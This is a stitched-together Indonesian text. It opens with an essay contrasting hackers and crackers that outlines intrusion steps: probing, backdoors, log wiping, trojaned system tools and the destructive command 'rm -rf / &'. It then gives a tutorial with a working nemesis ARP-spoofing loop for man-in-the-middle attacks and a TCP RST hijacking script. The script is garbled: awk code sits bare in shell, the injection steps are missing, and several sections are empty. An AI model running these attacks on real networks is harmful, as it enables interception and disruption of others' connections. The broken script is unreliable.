Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di
komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi
lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk
kejahatan - mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak
berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.
Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik - jadilah
Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk
merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di
Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama
baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam
kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers
tersebut - karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah &
menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol
swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.
Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain
di http://www.sans.org, http://www.rootshell.com, http://www.linuxfirewall.org/,
http://www.linuxdoc.org, http://www.cerias.purdue.edu/coast/firewalls/,
http://www.redhat.com/mirrors/LDP/HOWTO/. Sebagian dari teknik ini berupa buku-buku yang
jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa
Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh di
http://www.iss.net/vd/mail.html, http://www.v-one.com/documents/fw-faq.htm. Dan bagi para
experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain di
http://bastille-linux.sourceforge.net/,
http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.
Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-
cuma dari http://pandu.dhs.org, http://www.bogor.net/idkf/, http://louis.idaman.com/idkf. Beberapa
buku berbentuk softcopy yang dapat di ambil gratis dapat di ambil dari http://pandu.dhs.org/Buku-
Online/. Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made
Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang
aktif membahas teknik-teknik hacking ini - tetapi mungkin bisa sebagian di diskusikan di mailing
list lanjut seperti kursus-linux@yahoogroups.com & linux-admin@linux.or.id yang di operasikan
oleh Kelompok Pengguna Linux Indonesia (KPLI) http://www.kpli.or.id.
Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi
dari berbagai vendor misalnya di http://www.sans.org/newlook/publications/roadmap.htm#3b
tentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai
mailing list di Internet yang berkaitan dengan keamanan jaringan seperti dalam daftar
http://www.sans.org/newlook/publications/roadmap.htm#3e.
Belajar menjadi hacker
Dijelaskan oleh Front-line Information Security Team, "Techniques Adopted By 'System Crackers'
When Attempting To Break Into Corporate or Sensitive Private Networks," fist@ns2.co.uk
http://www.ns2.co.uk. Seorang Cracker umumnya pria usia 16-25 tahun. Berdasarkan statistik
pengguna Internet di Indonesia maka sebetulnya mayoritas pengguna Internet di Indonesia
adalah anak-anak muda pada usia ini juga. Memang usia ini adalah usia yang sangat ideal dalam
menimba ilmu baru termasuk ilmu Internet, sangat disayangkan jika kita tidak berhasil
menginternetkan ke 25000 sekolah Indonesia s/d tahun 2002 - karena tumpuan hari depan
bangsa Indonesia berada di tangan anak-anak muda kita ini.
Nah, para cracker muda ini umumnya melakukan cracking untuk meningkatkan kemampuan /
menggunakan sumber daya di jaringan untuk kepentingan sendiri. Umumnya para cracker adalah
opportunis. Melihat kelemahan sistem dengan mejalankan program scanner. Setelah
memperoleh akses root, cracker akan menginstall pintu belakang (backdoor) dan menutup
semua kelemahan umum yang ada.
Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet
untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web /
internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan
dengan menggunakan teknik / software Firewall dan Proxy server. Melihat kondisi penggunaan di
atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver
external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain
itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP
community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian
dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan
(IntraNet).
Agar cracker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran)
dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan)
melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan
dapat dilakukan dengan melompat dari program Wingate. Selain itu, melompat dapat dilakukan
melalui perangkat proxy yang konfigurasinya kurang baik.
Setelah berhasil melompat dan memasuki sistem lain, cracker biasanya melakukan probing
terhadap jaringan dan mengumpulkan informasi yang dibutuhkan. Hal ini dilakukan dengan
beberapa cara, misalnya (1) menggunakan nslookup untuk menjalankan perintah 'ls <domain or
network>' , (2) melihat file HTML di webserver anda untuk mengidentifikasi mesin lainnya, (3)
melihat berbagai dokumen di FTP server, (4) menghubungkan diri ke mail server dan
menggunakan perintah 'expn <user>', dan (5) mem-finger user di mesin-mesin eksternal
lainnya.
Langkah selanjutnya, cracker akan mengidentifikasi komponen jaringan yang dipercaya oleh
system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang
biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke
berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui
kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.
Selanjutnya cracker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan.
Cracker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak
scanner kecil lainnya. Program seperti 'ps' & 'netstat' di buat trojan (ingat cerita kuda troya?
dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi cracker yang
cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan
dengan SNMP.
Setelah cracker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan,
maka cracker akan menjalan program untuk menaklukan program daemon yang lemah di server.
Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai
daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang
Cracker untuk memperoleh akses sebagai 'root' (administrator tertinggi di server).
Untuk menghilangkan jejak, seorang cracker biasanya melakukan operasi pembersihan 'clean-
up' operation dengan cara membersihkan berbagai log file. Dan menambahkan program untuk
masuk dari pintu belakang 'backdooring'. Mengganti file .rhosts di /usr/bin untuk memudahkan
akses ke mesin yang di taklukan melalui rsh & csh.
Selanjutnya seorang cracker dapat menggunakan mesin yang sudah ditaklukan untuk
kepentingannya sendiri, misalnya mengambil informasi sensitif yang seharusnya tidak dibacanya;
mengcracking mesin lain dengan melompat dari mesin yang di taklukan; memasang sniffer untuk
melihat / mencatat berbagai trafik / komunikasi yang lewat; bahkan bisa mematikan sistem /
jaringan dengan cara menjalankan perintah 'rm -rf / &'. Yang terakhir akan sangat fatal
akibatnya karena sistem akan hancur sama sekali, terutama jika semua software di letakan di
harddisk. Proses re-install seluruh sistem harus di lakukan, akan memusingkan jika hal ini
dilakukan di mesin-mesin yang menjalankan misi kritis.
Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa
keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama
pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang
men-disable sistem dengan 'rm -rf / &'.
Bagi kita yang sehari-hari bergelut di Internet biasanya justru akan sangat menghargai
keberadaan para hacker (bukan Cracker). Karena berkat para hacker-lah Internet ada dan dapat
kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik
lagi. Berbagai kelemahan sistem di perbaiki karena kepandaian rekan-rekan hacker yang sering
kali mengerjakan perbaikan tsb. secara sukarela karena hobby-nya. Apalagi seringkali hasil
hacking-nya di sebarkan secara cuma-cuma di Internet untuk keperluan masyarakat Internet.
Sebuah nilai & budaya gotong royong yang mulia justru tumbuh di dunia maya Internet yang
biasanya terkesan futuristik dan jauh dari rasa sosial.
Pengembangan para hobbiest hacker ini menjadi penting sekali untuk keberlangsungan / survival
dotcommers di wahana Internet Indonesia. Sebagai salah satu bentuk nyatanya, dalam waktu
dekat Insya Allah sekitar pertengahan April 2001 akan di adakan hacking competition di Internet
untuk membobol sebuah server yang telah di tentukan terlebih dahulu. Hacking competition
tersebut di motori oleh anak-anak muda di Kelompok Pengguna Linux Indonesia (KPLI)
Semarang yang digerakan oleh anak muda seperti Kresno Aji (masaji@telkom.net), Agus
Hartanto (hartx@writeme.com) & Lekso Budi Handoko (handoko@riset.dinus.ac.id). Seperti
umumnya anak-anak muda lainnya, mereka umumnya bermodal cekak - bantuan & sponsor
tentunya akan sangat bermanfaat dan dinantikan oleh rekan-rekan muda ini.
Mudah-mudahan semua ini akan menambah semangat pembaca, khususnya pembaca muda,
untuk bergerak di dunia hacker yang mengasyikan dan menantang. Kalau kata Captain Jean Luc
Picard di Film Startrek Next Generation, "To boldly go where no one has gone before".
---// Pendahuluan
Pada tulisan ini penulis hendak membahas jenis serangan ke host-host yang
berada di jaringan yakni TCP hijacking RST dan Man In The Middle attack.
Penulis menggunakan nemesis sebagai tools injeksi paket dan sebuah bash
script yang penulis buat beberapa waktu lalu. Nemesis awalnya di develop
oleh Mark Grimes (obecian) kemudian oleh Jeff Nathan (jnathan) -
(http://nemesis.sourceforge.net/), namun kemudian tools ini banyak
dimasukkan ke dalam package sistem operasi UNIX, sebagai contoh nemesis
bisa di dapatkan dari OpenBSD ports.
---// Requirement
secure-lab# cd /usr/ports
secure-lab# make search key=nemesis
Port: nemesis-1.4beta3
Path: net/nemesis
Info: command line arbitrary packet builder
Maint: The OpenBSD ports mailing-list <ports@openbsd.org>
Index: net security
L-deps: net::net/libnet
B-deps:
R-deps:
Archs: any
secure-lab# cd net/nemesis
secure-lab# make install
---// Man-in-the-middle
Satu hal yang menarik dari table entry ARP tadi adalah ketika 2 IP address
berbeda dengan MAC yang sama ada di dalam table ARP, maka IP address yang
terdahulu akan dioverwrite oleh IP address yang baru. Lalu yang harus
dilakukan oleh attacker adalah mengirimkan ARP sehingga komputer 1
(172.16.11.103) percaya bahwa IP address komputer 2 (172.16.11.111) ada
di MAC address komputer attacker (00:c0:26:6f:3a:1a) dan mengirimkan ARP
sehingga komputer 2 percaya bahwa IP address komputer 1 ada di MAC address
komputer attacker juga. Dengan teknik ini semua paket data dari komputer 1
yang menuju ke komputer 2 akan melalui interface attacker. Disini penulis
menggunakan nemesis untuk menginjeksikan ARP ke komputer 1 dan komputer 2 -
silakan baca nemesis arp help
while true
do
nemesis arp -v -r -d rl0 -S 172.16.11.103 -D 172.16.11.111 \
-h 00:c0:26:6f:3a:1a -m 00:00:21:27:12:1f \
-H 00:c0:26:6f:3a:1a -M 00:00:21:27:12:1f
sleep 5;
done
Tentu saja dengan teknik ini memungkinkan attacker untuk melakukan sniffing
paket di dalam switched/non-switched network, mereset koneksi kedua komputer,
menginjeksikan paket dan tindakan lain yang mungkin merugikan komunikasi dua
komputer yang sah.
Dari capturing paket yang didapat attacker dapat menyusun pake baru dengan
menggunakan argumen-argumen command line awk. Dapat dilihat bahwa tcpdump
memberikan informasi mengenai IP address asal, IP address tujuan, port asal,
port tujuan, MAC address asal dan MAC address tujuan. Selain itu didapat pula
bahwa tcpdump hanya mengcapture paket yang flag ACK nya diset on serta
memberitahukan sequence numbernya.
mac_target = $2;
mac_source = $3;
split($6, dst, ".");
split($8, src, ".");
source_ip = src[1]"."src[2]"."src[3]"."src[4];
target_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
source_port = substr(src[5], 1, length(src[5])-1);
target_port = dst[5];
seq_num = $12;
Seperti dilihat diatas kita bisa menyusun paket baru menggunakan argumen
command line awk (argumen awk ditandai dengan $). Langkah terakhir adalah
menginjeksikan paket diatas ke koneksi komputer 172.16.11.111 dan komputer
172.16.11.103 menggunakan nemesis sebagai berikut:
Pada percobaan penulis koneksi ssh dari mesin windows ke mesin fedora core
4 menggunakan putty.exe sehingga ketika proses hijacking RST sukses akan
muncul box pesan "Network error : Software caused connection abort".
---// Penutup
---// Appendix 1 -- Bash script untuk MITM dan TPC Hijacking (RST way)
#!/bin/sh
if [ -z "$1" ]
then
echo
echo "Ph03n1X - kandangjamur security"
echo "site: http://kandangjamur.net/"
echo "email: king_purba@yahoo.co.uk"
echo
echo "Usage: $0 <case>"
echo
echo "case:"
echo "MiM = Man in the Middle attack"
echo "hijack = TCP/IP RST hijacking"
echo
exit
fi
case "$1" in
"MiM")
if [ -z "$7" ]
then
echo
echo "Usage: $0 <case> <interface> <ip host 1> <ip host 2> <MAC
interface> <MAC host 1> <MAC host 2>"
echo
exit
fi
while true
do
nemesis arp -v -r -d $2 -S $3 -D $4 -h $5 -m $7 -H $5 -M $7
nemesis arp -v -r -d $2 -S $4 -D $3 -h $5 -m $6 -H $5 -M $6
sleep 5;
done
;;
"hijack")
if [ -z "$3" ]
then
echo
echo "Usage : $0 <case> <ip target/server> <port>"
echo
exit
fi
CONVFMT="%u";
srand();
MAC_T = $2;
MAC_S = $3;
split($6, DST, ".");
split($8, SRC, ".");
IP_S = SRC[1]"."SRC[2]"."SRC[3]"."SRC[4];
IP_T = DST[1]"."DST[2]"."DST[3]"."DST[4];
PORT_S = substr(SRC[5], 1, length(SRC[5])-1);
PORT_T = DST[5];
SEQ_NUM = $12;
*)
echo "YOUR CASE IS MISSED"
echo
;;
esac
---// Referensi
---// Greetz: